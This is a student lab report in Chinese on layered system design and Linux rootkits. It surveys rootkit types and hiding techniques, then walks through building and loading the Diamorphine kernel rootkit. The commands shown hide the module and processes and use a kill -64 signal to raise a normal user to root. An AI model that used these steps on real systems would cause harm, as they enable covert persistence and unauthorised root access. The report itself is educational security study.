计算机系统分层设计与Rootkit概念及实现

💻 计算机系统分层设计 与 🐛Rootkit 概念及实现

🧪 实验问题 1

简述 💻 计算机系统 中的分层设计理念及相关应用举例
🎯 实验目的
  1. 理解 💻 计算机系统 分层设计理念及其重要性。
  2. 学习 分层设计 在 💻 计算机系统 中的典型应用。
📝 实验内容

分层设计 是一种将复杂系统划分为若干层次的设计方法,每层专注于特定的功能或抽象级别,向上提供服务,向下请求服务。这种设计理念使得系统模块化、易于维护和扩展。

分层设计的特点:

  1. 模块化:每一层可以独立开发和测试。
  2. 易于扩展:新增功能仅需在相应层中进行。
  3. 维护性强:局部修改不会影响其他层。

典型应用:

  1. 操作系统

    • 🖥️ 操作系统 采用分层设计,从硬件到用户程序通常分为硬件层、内核层、系统调用接口层、用户层等。
    • 实例:📂 文件系统 位于内核层,它抽象出文件管理功能,向上层屏蔽了硬件存储设备的细节。
  2. 网络协议栈

    • 🌐 OSI 七层模型 是网络通信领域的分层设计典范,将通信过程划分为物理层、数据链路层、网络层、传输层、会话层、表示层和应用层。
    • 实例:📨 HTTP 位于应用层,它依赖于传输层(如 📦 TCP 协议)进行数据传输。

🧪 实验问题 2

简述 🐛 Rootkit 的相关定义,以及 🐛 Rootkit 的类型
🎯 实验目的
  1. 掌握 🐛 Rootkit 的概念及特点。
  2. 理解 🐛 Rootkit 的分类及其应用场景。
📝 实验内容

🐛 Rootkit 定义:

Rootkit 是一种具有高隐蔽性的软件工具,通常用于隐藏自身或其他恶意活动。它常与 🐎 木马、🔙 后门 等恶意程序结合,通过修改操作系统的核心部分达到隐藏和长期驻留的目的。

🐛 Rootkit 特点:

  1. 🔍 高隐蔽性:隐藏 📂 文件、📋 进程、📡 端口 等。
  2. 🔄 高持久性:通过多种手段维持对系统的控制权。
  3. ⚠️ 低检测率:传统杀毒软件难以发现。

🐛 Rootkit 类型:

  1. 用户态 Rootkit

    • 运行在用户空间。
    • 替换系统 API 或劫持系统调用返回值。
    • 应用场景:💸 大面积勒索或挖矿木马。
  2. 内核态 Rootkit

    • 运行在内核空间。
    • 修改系统内核数据结构或挂钩内核函数。
    • 应用场景:高级持续性威胁(APT)。
  3. 硬件态 Rootkit

    • 植入硬件层或引导扇区。
    • 在系统启动前获得控制权。
    • 应用场景:高隐蔽性、定向攻击。

🐛 Rootkit 的常见隐藏技术:

  1. 程序替换

    • LD_PRELOAD:通过预加载动态链接库,直接替换原始程序。
    • Ring3:在用户空间执行,属于用户态 Rootkit 的一种常用方法。
  2. 端口隐藏

    • eBPF:通过 kprobes/uprobes/tracepoint 等操作在内核中插入钩子,以隐藏特定的端口。
    • Netfilter Hook:使用 Netfilter 框架的钩子功能来过滤特定网络数据包,隐藏端口信息。
  3. 网络连接隐藏

    • VFS Hook:Hook tcp4_seq_show 函数,过滤 /proc/net/tcp 目录中特定内容,隐藏特定的网络连接。
    • eBPF:通过在内核中设置钩子来过滤网络连接。
    • Netfilter Hook:Hook Netfilter Callback Function Register,拦截网络数据包,隐藏相关连接信息。
  4. 进程隐藏

    • VFS Hook:通过 Hook filldir64/readdir 函数,过滤 /proc/PID 目录中文件内容,从而隐藏进程。
    • Syscall Hook:通过 Hook Sys_getdents/Sys_getdents64 系统调用函数,隐藏 /proc/PID 目录中文件信息。
    • eBPF:在内核中设置 tracepoint 钩子,过滤操作,从而隐藏进程。
  5. 文件隐藏

    • VFS Hook:Hook filldir64/readdir 函数,过滤特定目录中的文件。
    • eBPF:通过在内核设置 tracepoint 钩子,隐藏文件内容。
  6. 内核模块隐藏

    • 模块链表操作
      • 通过修改 kernel module 链表结构,将目标模块从链表中移除,从而实现隐藏。
      • Hook list_del_init 函数或通过 kobject 操作来修改内核模块链表结构,使模块不被显示。

这些技术手段通过对内核或用户空间的相关接口进行劫持或修改,能够有效地实现对📋 进程、📡 端口、📂 文件等系统资源的隐藏,达到了 🐛 Rootkit 的高隐蔽性要求。

🧪 实验问题 3

通过资料检索,了解 🐛 Rootkit 的具体实现,并尝试实现一个简单的 🐛 Rootkit

📝 实验名称

🐛 Rootkit 实验与提权演示

🎯 实验目的

通过本次实验,掌握 🐛 Rootkit 的基本使用方法,学习如何在 🐧 Linux 系统中利用 🐛 Rootkit 实现 📋 进程隐藏、内核模块隐藏以及普通用户提权的操作。

🖥️ 实验环境

  • 操作系统: 🐧 CentOS 7.9
  • 🐛 Rootkit 工具: Diamorphine

📝 实验步骤

1. 环境准备

(1) 克隆 Diamorphine 代码库

使用如下命令克隆 Diamorphine 的代码库:

1
git clone https://github.com/m0nad/Diamorphine

(2) 进入目录并编译模块

进入克隆的 Diamorphine 目录,使用 make 命令进行编译:

1
2
cd Diamorphine
make

如果缺少与当前内核匹配的头文件和构建工具,运行以下命令:

1
2
3
sudo yum groupinstall "Development Tools" -y
sudo yum install kernel-devel-$(uname -r) kernel-headers-$(uname -r) -y
ls -l /lib/modules/$(uname -r)/build

(3) 加载内核模块(as root)

将编译后的模块加载到内核中:

1
insmod diamorphine.ko
2. 内核模块隐藏验证

(1) 验证内核模块是否隐藏

使用 lsmod 命令列出当前加载的所有内核模块,检查是否能看到 Diamorphine 模块:

1
lsmod

由于 Diamorphine 模块具有隐藏功能,此时不会显示在列表中。

(2) 显示隐藏的模块

要显示被隐藏的 Diamorphine 模块,可以发送 kill -63 信号:

1
kill -63 0

再次运行 lsmod,可以看到 Diamorphine 模块显示在列表中。

3. 隐藏用户态进程

(1) 创建一个虚拟进程

通过运行以下命令创建一个虚拟进程:

1
2
sleep 1000 &
ps -ef | grep sleep

(2) 隐藏进程

要隐藏进程,可以使用 kill -31 命令,指定需要隐藏的进程 ID:

1
kill -31 <pid>

运行 ps 命令查看,进程将不再显示。

(3) 取消隐藏进程

使用相同的 kill -31 命令来取消隐藏该进程:

1
kill -31 <pid>

此时再次运行 ps 命令,可以看到该进程重新显示。

4. 普通用户提权至 root

(1) 切换至普通用户并查看权限

首先,切换到普通用户,例如 moyuan,并查看当前用户权限:

1
2
su - moyuan
whoami

默认情况下,普通用户是没有 root 权限的。

(2) 提权至 root

使用 Diamorphine 的 kill -64 信号来为普通用户授予 root 权限:

1
kill -64 0

执行上述命令后,再次运行 whoami 命令,结果将显示用户已被提升为 root。

5. 实验结果
  • 实验结果: 通过 Diamorphine 工具,成功实现了内核模块和用户态进程的隐藏,以及普通用户提权至 root 的操作。
  • 总结: 本次实验演示了 🐛 Rootkit 工具的强大功能,包括隐藏内核模块、隐藏用户进程以及普通用户提权等。在安全研究中,这些功能展示了如何在获得系统最高权限后维持控制权。但也要意识到,这类工具滥用可能对系统安全构成巨大威胁。
6. 注意事项与学习体会
  • 🛠️ 工具的使用应与原理结合: 在学习过程中,理解工具背后的工作原理尤为重要,只有如此才能做到举一反三。
  • ⚠️ 保持警惕与责任感: 🐛 Rootkit 等工具在安全领域有其研究价值,但使用时需保持审慎,确保不会对他人或公共系统造成不良影响。
  • 📈 工具不断更新: 安全工具和技术不断更新,掌握基础原理并善于总结经验,是保持技术先进性的关键。

通过本次实验,我对 🐛 Rootkit 的原理及其在 🐧 Linux 系统中的应用有了更深的理解,也更深刻地认识到了系统安全的重要性。

实验总结

  1. 实验收获

    • 理解了 💻 计算机系统分层设计的理念及应用。
    • 掌握了 🐛 Rootkit 的定义、分类及应用场景。
    • 通过实践学习了 🐧 Linux 内核模块的开发流程,初步实现了一个简单 🐛 Rootkit。
  2. 注意事项

    • 🐛 Rootkit 开发涉及较高权限操作,存在风险,请勿用于非法用途。
    • 在实际环境中使用内核模块时,应充分测试以避免系统崩溃。
  3. 未来改进

    • 学习更多高级劫持技术,如虚拟📁文件系统劫持。
    • 研究 🐛 Rootkit 的检测和防御方法,增强系统🛡️安全性。